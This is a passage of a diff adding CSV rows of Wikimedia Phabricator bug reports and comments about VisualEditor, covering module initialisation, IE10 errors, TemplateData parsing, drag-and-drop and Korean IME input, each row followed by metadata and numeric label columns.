+Integration layers in MediaWiki and elsewhere would only need the `visualeditor.init` module at first. This should provide them with tools to determine whether the current environment supports VE (feature test / browser sniffing), and the ability to then (on demand) proceed and actually load the editor, with an edit surface.
+
+The init module would provide only a lightweight `ve` and `ve.init` object with little to no dependencies. Only jquery and oojs as dependency. Not oojs-ui or anything else.
+
+For MediaWiki this means the mw.ve.init module would also take care of checking user preferences and wiki configuration with regards to skin/namespace/contentmodel etc. And mw.ve.init would also continue to handle the various skin transformations and loading bars (which would be readily available). 
+
+### Thoughts
+
+Do we need Platform to bootstrap Target? Right now in standalone we do, but in MediaWiki we don't. It's up to the Target implementation to decide this. So let's keep Platform shipped in init.
+
+Class structure:
+ * ve.init.Platform
+ * ve.init.Target.
+ * ve.init.sa.Platform becomes ve.sa.init.Platform. `ve/sa` becomes a showcase for how to bootstrap VE. Assuming we keep this generic, we can keep it under `ve.*` and ship it by default. If it becomes a demo instead that people should not extend but instead copy from, we should move it to a global VEDemo javascript namespace or something like that.
+ * ve.init.sa.Target becomes ve.sa.init.Target.
+ * ve.init.mw.Target becomes mw.ve.init.Platform.
+
+Also relevant are the feature tests. Currently only our MediaWiki platform has these feature tests, we should move these into the base  hardcoded in the MediaWiki platform. These should be moved to `ve.support` and become part of the lightweight init module.
+* Feature detection (ve.support)
+ * `support.es5`
+ * `support.contentEditable`
+ * (maybe)  `support.svg`, since we're currently repeating` ( document.createElementNS && document.createElementNS( 'http://www.w3.org/2000/svg', 'svg' ).createSVGRect` in five places.
+* Browser sniffing (ve.support.browsers.{whitelist,blacklist})
+
+
+
+See also:
+{T52612}
+{T75593} (and its dependencies)",Medium,50.0,1372894740,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2p76xxlh44jpmzqza6ge,task_description,open,True,c1,3,True,False,,0,,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+451277,Separate ve.init and ve.platform,"In the public weekly triage on 2015-04-29, we discussed this task. We decided that this task, though important, does not block further progress against current goals around better stability and performance for users, or an improved mobile editing experience, so we rejected it for the quarter's blocking list.",,,1430333636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2p76xxlh44jpmzqza6ge,task_subcomment,,True,c1,3,True,,,95,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+449793,Separate ve.init and ve.platform,I think @Krinkle should rewrite it.,,,1430159784,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2p76xxlh44jpmzqza6ge,task_subcomment,,True,c1,3,True,,,95,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+449788,Separate ve.init and ve.platform,"@Krinkle & @Krenair: This task was skipped during the last two #editing_department_2014_15_q4_blockers triage meetings because it's tagged ""[REWRITE ME]"". Who would be the best person to rewrite it? It would be ideal if it could be rewritten before the next triage meeting so it's not skipped again.",,,1430159393,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-2p76xxlh44jpmzqza6ge,task_subcomment,,True,c1,3,False,,,95,,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,1,1
+52693,"VisualEditor: Setting a link on an image causes the caption's content to be be linked (fine), but the link inspector follows the cursor around (bad)","I apologize for the lousy name this is starting off with - I have no idea what toc all this.
+
+Taken from English Wikipedia:
+
+Time for another ""Why did you even try this""? kind of bug. (Tested on Firefox 22, Mono)
+
+'''Steps to Reproduct'''
+* Edit the [[bugonia]] article using the visual editor.
+* Click the ""Aristeas and bugonia. Virgil's Georgics. Lyon. 1517"" image, which is about halfway down the article.
+* There is an uneditable section a bit higher. It starts with the text ""If any further evidence is necessary"". Click that one.
+* Now click the hyperlink button. A slight white block will appear on the image.
+* Select any other word in the image and click the hyperlink button.
+
+For some reason the hyperlink dialog box will now show up on the image, no matter what word you select. After trying a few times it seems to tire of that and starts jumping over the screen at random when a word is selected. The added screenshot is an example of this - it tried to hide behind the search box. Excirial (Contact me,Contribs) 19:37, 3 July 2013 (UTC)
+
+Link to screenshot:
+http://en.wikipedia.org/wiki/File:VisualEditor_-_Hyperlink_Dialog_glitch.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372883940,1385377902.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ibes2uplyibrsadgodld,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+254414,"VisualEditor: Setting a link on an image causes the caption's content to be be linked (fine), but the link inspector follows the cursor around (bad)","I believe that this is now fixed, but I'm not quite sure. Please re-open if you can give a current example.",,,1385377902,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ibes2uplyibrsadgodld,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+52677,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,"On every page I load on IE10, when switched into compatibility mode, I currently get the following error.
+
+oo.js, line 97 character 2
+Object doesn't support property or method 'create'
+
+Also, if VE is not enabled on IE10, then why is this code being loaded ?
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50612",Medium,50.0,1372872180,1372901827.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-3jrxscvn6apol6nbrw66,task_description,resolved,True,c1,3,True,False,True,0,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0
+253514,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,But now fixed in production anyway. :-),,,1372901827,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+253511,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,Reclassifying as not serious after feedback confirming this only happens in developer mode.,,,1372880015,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+253507,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,"This code shouldn't be running before the browser blacklists, you're right. We need to fix this urgently to avoid so many errors for users on every page load.
+
+To avoid confusion, note that this code works fine in ""real"" IE10, just not in compatibility mode; this isn't a blocker for VE working in IE.",,,1372878719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+253503,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,"(In reply to comment #0)
+> On every page I load on IE10, when switched into compatibility mode, I
+> currently get the following error.
+> 
+> oo.js, line 97 character 2
+> Object doesn't support property or method 'create'
+> 
+Object.create and other ES5 features are only supported in IE10 and up, so IE10 in compat mode does not support them.
+
+> Also, if VE is not enabled on IE10, then why is this code being loaded ?
+Unfortunately, the blacklisting code is in a class, and that class extends another class, and oo.extendClass() uses Object.create() :(
+
+We're working on fixing this by moving the blacklisting up, see bug 50612",,,1372878612,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+52656,TemplateData: Parse wikicode and/or HTML in interface text,"Parse wikicode and/or HTML in interface text. This is useful to make longer descriptions, i.e. with some lists, more readable, see URL for a trial.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://de.wikipedia.org/w/index.php?title=Vorlage:Normdaten/Doku&diff=120168256&oldid=120165159
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49772
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48451",Medium,50.0,1372850220,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-72xdyaasptqyeuovlab3,task_description,open,True,c1,3,False,False,,0,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+1605011,TemplateData: Parse wikicode and/or HTML in interface text,"Here's an inelegant proof-of-concept https://gitlab.com/wmde/mediawiki-extensions-VisualEditor/-/commit/3d06cd4e37e7356bd4b9f5235c9145fcc538cf0e
+
+Probably better to parse on the backend as part of the TemplateData API request, as discussed in {T241586}.",,,1603447176,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,381,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+600567,TemplateData: Parse wikicode and/or HTML in interface text,">>! In T52656#1937666, @Krenair wrote:
+> Well we definitely can't allow all HTML, and we probably don't want to put everything through the full MW parser...
+
+Even if we don't want to put everything through the full MW parser having the possibility to use internal links inside the description to link for example with help pages or external pages where the information to add in the parameter is provided.",,,1454246269,,PHID-USER-bd4kgtavgiydswld34tj,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,134,,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,1
+597930,TemplateData: Parse wikicode and/or HTML in interface text,Providing a link to the template documentation page would be useful for some complex templates like https://en.wikipedia.org/wiki/Template:Coord which is almost impossible to describe using TemplateData. This is bug T51772.,,,1453877263,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,134,,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+597871,TemplateData: Parse wikicode and/or HTML in interface text,"For elaborate documentation and examples, one should use the Template documentation page instead. Remember this all has to fit within the VE interface when inserting a Template. This isn't the place for elaborate instructions.
+
+Contextual information per-parameter tends to be more appropiate. The interface currently provides a link back to the Template documentation page only if the template has no TemplateData yet:
+{F3284165}
+
+Perhaps we should provide this link always? Instead of only when data is absent.",,,1453857840,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,134,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+590914,TemplateData: Parse wikicode and/or HTML in interface text,"Well we definitely can't allow all HTML, and we probably don't want to put everything through the full MW parser...",,,1452890347,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,132,,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+252310,TemplateData: Parse wikicode and/or HTML in interface text,*** Bug 51311 has been marked as a duplicate of this bug. ***,,,1375191068,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+252306,TemplateData: Parse wikicode and/or HTML in interface text,Please don't mark older bugs as duplicates of newer ones.,,,1375191065,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0
+252300,TemplateData: Parse wikicode and/or HTML in interface text,"(In reply to comment #1)
+> Is this the same as Bug 51311?
+
+I think so.
+
+*** This bug has been marked as a duplicate of bug 51311 ***",,,1375187353,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+252293,TemplateData: Parse wikicode and/or HTML in interface text,Is this the same as Bug 51311?,,,1375183810,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+52643,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"What it says on the tin; if you do nothing but rearrange text, the VE does not recognise it as an alteration and refuses to let you save.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49981
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50721",Medium,50.0,1372836600,1380437291.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-itj4sdz77n2m7ganhvyr,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+251616,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"The drag-and-drop operation previously had the appearance of being successful, in that the text would change to the dropped position.  After the text was moved, the save button wasnt enabled.
+
+Now the text can only be picked up and dragged around, but the text move operation is cancelled when the text is dropped.
+
+The bug has been fixed, and I am closing as such.  Probably as part of another piece of related work.
+
+For bonus points, VE shouldnt allow the text to be picked up and dragged.  I've opened that as an enhancement bug 54757.",,,1380437291,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,1,1,0,0,0,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+251611,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,fwiw I'm using Firefox and... it seems to work? The first post is not very descriptive so I don't know what to test. Happy to help.,,,1380428239,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,False,,,12,,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+251605,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,*** Bug 50977 has been marked as a duplicate of this bug. ***,,,1377831826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251599,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,*** Bug 50721 has been marked as a duplicate of this bug. ***,,,1375772188,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251593,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"Bug 49981 is about actually supporting this; until we do, we should disable it appearing to try to work in Firefox, only to not do so (because it's disabled).",,,1373581739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+251587,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"**JohnCD67** wrote:
+
+This only happens with drag-and-drop. VE will let you save a text rearrangement done with Ctrl-X, Ctrl-V, or Right-click/Cut, Right-click/Paste.",,,1373581336,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+52633,"VisualEditor: Display and let users edit arbitrary HTML anchors, e.g. in section headings","Some pages use anchors in the headings - useful for redirected articles.  Can VE display these and make them editable?
+
+Original request:
+
+I noticed that when editing (e.g.) [[ https://en.wikipedia.org/wiki/TRS-80#Compatible_successors | TRS-80 ]] that anchor templates, such as the ones I'd included within the section titles (e.g. [13])- for links that don't break when section titles change- don't show up in the visual editor... but they're still easily (inadvertantly) deletable, simply by backspacing over the hidden markup.
+
+You couldn't blame a newbie- or even nontechnical editor- for deleting something that wasn't even shown to them(!), but this is the sort of thing that could be a major pain in the neck.
+
+While I'm in favour of the visual editor in principle (the ability to contribute content shouldn't be reliant upon geekish markup skills), this *was* an issue that concerned me when I heard about the idea- namely that the large amounts of complicated templates and markup (which IMHO will never be entirely representable in the visual editor) would be inadvertantly messed up, either by users or by oversights within the design of a ""helpful"" visual editor itself.
+
+Ubcule (talk) 22:28, 2 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372819920,1425595132.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ce2w6vrcycpoidffw23e,task_description,resolved,True,c1,3,False,False,False,0,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+52631,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**Author:** `ryuch`
+
+**Description:**
+Korean input is not complete. 
+
+I tried to input ""한글 시험 합니다."". 
+But it eats up some letters and produce ""글 험 다."".
+
+I tested with Chrome and Safari on Mac OSX. And it is all the same with Chrome on Windows XP.
+
+**See Also**: {T52105} {T72353}",Medium,50.0,1372815240,1443085342.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-mndznmqvm6ihjfmb6xap,False,PHID-TASK-v3iakko3iymlxqo43aix,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+534068,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Seem to be resolved (idk which patch solved it).
+
+It's good to see that the #1 reason I hate/blame VE is finally resolved.",,,1443085392,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,116,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+533542,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Hi, typing seems to work for me in on en.wikipedia.org and on VE-standalone master, using:
+
+- Windows 8, MS or Nalgaeset IME, Firefox 40.0.3 or Chrome 45.0.2454.99 m
+- Ubuntu 15.04, Anthy IME, Firefox 40.0.3 or Chromium 44.0.2403.89 Ubuntu 15.04 (64-bit)
+
+In particular, I'm not seeing the ""first word disappears"" behaviour. Can we close this bug, or is anyone still seeing corruption?",,,1443035363,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,116,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1
+517124,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"|browser|version|input|output|diff|
+|----|----|----|----|----|
+|IE|11.0.9600.17959|인터넷 익스플로러 테스트|인터넷 익스플로러 테스트|14721416|
+|Firefox|40.0.3|파이어폭스 테스트|파이어폭스 테스트|14721436|
+|Chrome|44.0.2403.157|구글 크롬 테스트|구글 크롬 테스트|14721446|
+
+OS: Win7, 32bit. IME: MS default one.
+
+For diff, use [[https://ko.wikipedia.org/wiki/Special:Diff|Special:Diff]].",,,1440832509,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,112,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+341600,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Same here.
+```
+구글 크롬 윈도 7 39.0.2171.71 m
+```
